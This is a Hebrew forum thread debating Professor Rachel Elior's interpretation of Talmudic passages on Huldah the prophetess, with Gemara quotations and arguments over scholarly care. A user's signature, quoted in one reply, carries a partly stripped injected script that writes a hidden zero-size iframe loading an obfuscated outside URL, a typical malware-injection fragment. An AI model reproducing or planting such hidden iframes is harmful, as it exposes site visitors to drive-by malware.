|
|
| נשלח ב-1/3/2015 18:20 |
 |
| |
מעניין מה תפרש אלאור על זה
יתיב רב אחא בר עולא קמיה דרב חסדא ויתיב וקאמר משעה שגוזזין אותה טומנין לה עזק בשמן ומניחין לה על פדחתה כדי שלא תצטנן אמר ליה רב חסדא א"כ עשית' מר עוקבא אלא יתיב רב פפא בר שמואל קמיה דרב חסדא ויתיב וקאמר בשעה שכורעת לילד טומנין לה שני עזקין של שמן ומניחין לה אחד על פדחתה ואחד על הרחם כדי שתתחמם א"ל רב נחמן אם כן עשיתה ילתא
|
|
|
|
| נשלח ב-1/3/2015 19:42 |
|
| |
| אפריםבן כתב: |  | | אברהם העברי,תוכיח לי שאפשר לפרש אחרת את כוונתו של רבא.אם אתה סבור שרבא סתם אמר ,כמו ילד קטן,האם החולדה נביאה שהיא יודעת שהיום י"ד בניסן ?אז אתה מקטין את רבא לרמה של ילד. |
|
איתמר חצי זית חוץ לזמנו חצי זית חוץ למקומו וחצי זית חוץ לזמנו אמר רבא ויקץ כישן הפיגול [זבחים ל"א]
חברים!!! מדובר במסורת תלמודית המדברת על שמו המסתורי של ............... - פיגול שמו.
האם אתם סבורים שרבא סתם אמר כמו ילד קטן שהפיגול כביכול מתעורר כאילו הוא ישן כמו ה'? אז אתם מקטינים את רבא רמה של ילד.
תוקן על ידי אנונימי00 ב- 01/03/2015 19:43:04
|
|
|
|
|
| נשלח ב-1/3/2015 21:36 |
|
| |
אנונימי, אתה צריך להבין שאפרים סובלת מאותה בעיה של אליאור, מי שלא למדה גמרא בחידר, הרבה פעמים לא יכולה להגיע למצב שהטקסט זורם אצלה טבעי.
|
|
|
|
| נשלח ב-1/3/2015 21:40 |
|
| |
מם80,מה שכתבת מעניין מאד. תודה.
|
|
|
|
| נשלח ב-1/3/2015 21:46 |
|
| |
אריאל
איקון ירוק וחייכני.
אפרים
לא זכיתי להבין את טיעונך. לפי פשטות לשונה של הפרופסורית היא טעתה בציטוט. אז מה?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-1/3/2015 21:49 |
|
| |
| ישיבישעאר כתב: | | אנונימי, אתה צריך להבין שאפרים סובלת מאותה בעיה של אליאור, מי שלא למדה גמרא בחידר, הרבה פעמים לא יכולה להגיע למצב שהטקסט זורם אצלה טבעי. |
|
אני רק רוצה לוודא שלי אין בעיה בהבנת הנקרא בטקסטים של אליאור.
ואולי יש לי, וכשהיא אומרת - מסורת המטילה ספק בנבואת חולדה, פירוש המילות אינו כפשוטו אלא כוונתה לזלזול במעמדה של חולדה וכדו' ?
כנראה זה בגלל שלא למדתי באוניברסיטה אלא בחיידר.
|
|
|
|
| נשלח ב-1/3/2015 21:54 |
|
| |
גם זלזול אין כאן.
והדבר הזה, אגב, לא ראוי להיקרא בורות או טעות בהבנת הגמ'. היא כמעט ללא ספק מצאה את הגמ' בחיפוש בפרויקט השו"ת, וקראה רק את מימרת רבא. זו פשוט עבודה רשלנית. למה לבדוק אם אפשר להתעצל?
|
|
|
|
| נשלח ב-1/3/2015 22:08 |
|
| |
ומה הלבני טוען?
למי מתייחסים המילים 'וכי חולה נביאה היא' לרבא או לסתמאים?
|
|
|
|
| נשלח ב-2/3/2015 07:25 |
|
| |
| יש3 כתב: | | גם זלזול אין כאן.
והדבר הזה, אגב, לא ראוי להיקרא בורות או טעות בהבנת הגמ'. היא כמעט ללא ספק מצאה את הגמ' בחיפוש בפרויקט השו"ת, וקראה רק את מימרת רבא. זו פשוט עבודה רשלנית. למה לבדוק אם אפשר להתעצל? |
|
'בורות מוחלטת' בנושא ה'נחקר' יש כאן, כלומר שהפרופ' סימנה מראש את המטרה שחז"ל זלזלו בכבודן של הנביאות [ושוב יתכן שזה נכון ויתכן שלא], ופתחה מאגר ממוחשב וחיפשה ציטטות בגמ' לשבצן בתוך מאמרה, בלי לנסות לקרוא את הקשרו של המאמר, הזוי.
לחשוב שאלה פרופסורך ישראל, ושמחקריה של אליאור שווים כקליפת השום, ומחקר הנבואה ניתן באמת לשוטים.
הביטוי הפוליטי קורקט 'טעות' מגמד את הבעיה, בין אם מדובר במאמר בבמה אקדמית ובין אם לא, מדובר בחוקרת שמחזיקה קתדרה, והיא בודאי מחויבת לסטנדרטים מינימליים, ולא סתם לתקוע.
ושוב, הזוי.
|
|
|
|
| נשלח ב-2/3/2015 11:15 |
|
| |
אנונימי
שים לב שהסקה נמהרת נעשית רק לצד הרצוי. ר"ל שאם מוצאים שטות אצל אחד הפוסקים לא מסיקים שיש לו בורות גמורה, ובטח שלא מסיקים מכאן לכל הפוסקים.
א"א לפשוט אותה מטעות אחת. בהחלט ייתכן שהיא חשבה שיחסם של חז"ל היה כך וכך והיו לה לזה מקורות רבים, והיא החליטה לחפש מה חז"ל אמרו על כל אחת מהנביאות. יצאו לה לא מעט תוצאות והיא פישלה בכך שלא בדקה אחת מהן. ייתכן גם שהדברים שהיא כותבת לעמותות אתאיסטיות שונים באופן מהותי מהמחקרים שלה. הערכה של אדם צריכה להיות על מכלול, ובטח שממנה א"א להסיק כי "אלה פרופסוריך ישראל".
|
|
|
|
| נשלח ב-2/3/2015 11:25 |
|
| |
ג"א מסכים שאליאור לא דוגמא לפרופסורי ישראל.
אבל צריך לשים לב גם ליחס בין גודל הטעות, וגודל המסקנה שהיא רוצה להוציא מכאן. הצירוף של שניהם יוצר קלות בלתי נסבלת. אם היא היתה רוצה להוכיח ענין טריויאלי, ניחא, אבל היא רוצה לטעון שחז"ל פקפקו בנבואה של אחת הנביאות המוזכרת בתנ"ך כנביאת אמת המנבאת את החורבן ובהשראתה יאשיהו המלך הצדיק פועל גדולות. טענה קיצונית כזו צריכים לבדוק באופן מינימלי. לפחות בעצכ"ח או משהו, לא סתם לקרוא טקסט ולהעתיק.
|
|
|
|
| נשלח ב-2/3/2015 13:31 |
|
| |
טעות של בורות יכולה לקרות לכל אחד. גם באקדמיה, ואפילו בישיבה, להבדיל.
לפי מה שנראה על פניו, לפי האכסניה שבה פורסמה הביקורת, זה שהכשלון נבע מכך שהיא, לפי ההשערה, סימנה את המטרה, ואחר כך חיפשה הוכחות.
וכיון שלא בדקה היטב, נפלה בפח וביישה את עצמה.
יש כאן לקח: לא להיות שטחי, לא לכפות פרשנות על מקורות.
מי שירצה להוציא מכאן בסיס לביקורת על האקדמיה בכלל - חוששני שהוא טועה באותו סוג של טעות...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/3/2015 14:46 |
|
| |
| מיימוני כתב: | | טעות של בורות יכולה לקרות לכל אחד. גם באקדמיה, ואפילו בישיבה, להבדיל.
לפי מה שנראה על פניו, לפי האכסניה שבה פורסמה הביקורת, זה שהכשלון נבע מכך שהיא, לפי ההשערה, סימנה את המטרה, ואחר כך חיפשה הוכחות.
וכיון שלא בדקה היטב, נפלה בפח וביישה את עצמה.
יש כאן לקח: לא להיות שטחי, לא לכפות פרשנות על מקורות.
מי שירצה להוציא מכאן בסיס לביקורת על האקדמיה בכלל - חוששני שהוא טועה באותו סוג של טעות...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
ברור שריר וקיים, הכותרת הייתה בהשראת הכותרת של האשכול הסמוך של אברם העברי, לא התכוונתי ללמוד ממנה על שאר חוקרים מוערכים, מלבד ליצנותא בעלמא.
|
|
|
|
| נשלח ב-2/3/2015 15:39 |
|
| |
מניין הסיקה רחל אליאור שחולדה הנביאה מיוחסת בת ירושלים? תמהני.
והיא ישבת בירושלם במשנה (מלכים ב' כב, יד). תירגם יונתן במשנה: בבית אולפנא (בבית מדרש). במשנה היתה לומדה התורה שבע"פ לזקנים שבדור (הג"ה דר"ע לפירוש רש"י).
המקרא לא אומר מה היה ייחוסה, ואין לנו אלא דברי חז"ל. אמר רב נחמן: חולדה מבני בניו של יהושע היתה.
רבי יהודה אומר: אף חולדה הנביאה מבני בניה של רחב הזונה היתה.
|
|
|
|
| נשלח ב-2/3/2015 16:17 |
|
| |
אני מודה שהפסקתי לקרוא את האשכול באמצע. אני מודה גם שהתייחסותי לשני הצדדים כאן היא אמביוולנטית.
אבל ממה שנראה כאן, כמו באשכול הסמוך, הדיון מעניין ולא רק מבחינה אינטלקטואלית. למרות שלפי הקצב הזה הוא יפסיק אפילו להיות מעניין.
לכן, הייתי מציע לחברי הפורום הנכבדים, לאמץ את הצעתה של אמשלום לקיים דיונים בסיסיים על מהי בורות, מהי הבנה נכונה, מה משמעותיותיהם של אי הסכמות למיניהם, בנושא העומד לדיון בזמן נתון או בזמנים אחרים, וכו' וכו'.
אני חושב שזה יעזור לכולם, וגם יפתח מחדש דרכי דיון וחשיבה שננעלו אולי אחרי רוב הטחינה לעומק של דיונים חשובים מבלי לבדוק הנחות יסוד מסוג זה.
כל מי שיתרום תרומה אמיתית וכנה לדיון בעניינים הבסיסיים האלו, הרי שעל כולנו להודות לו מעומק הלב.
|
|
|
|
|
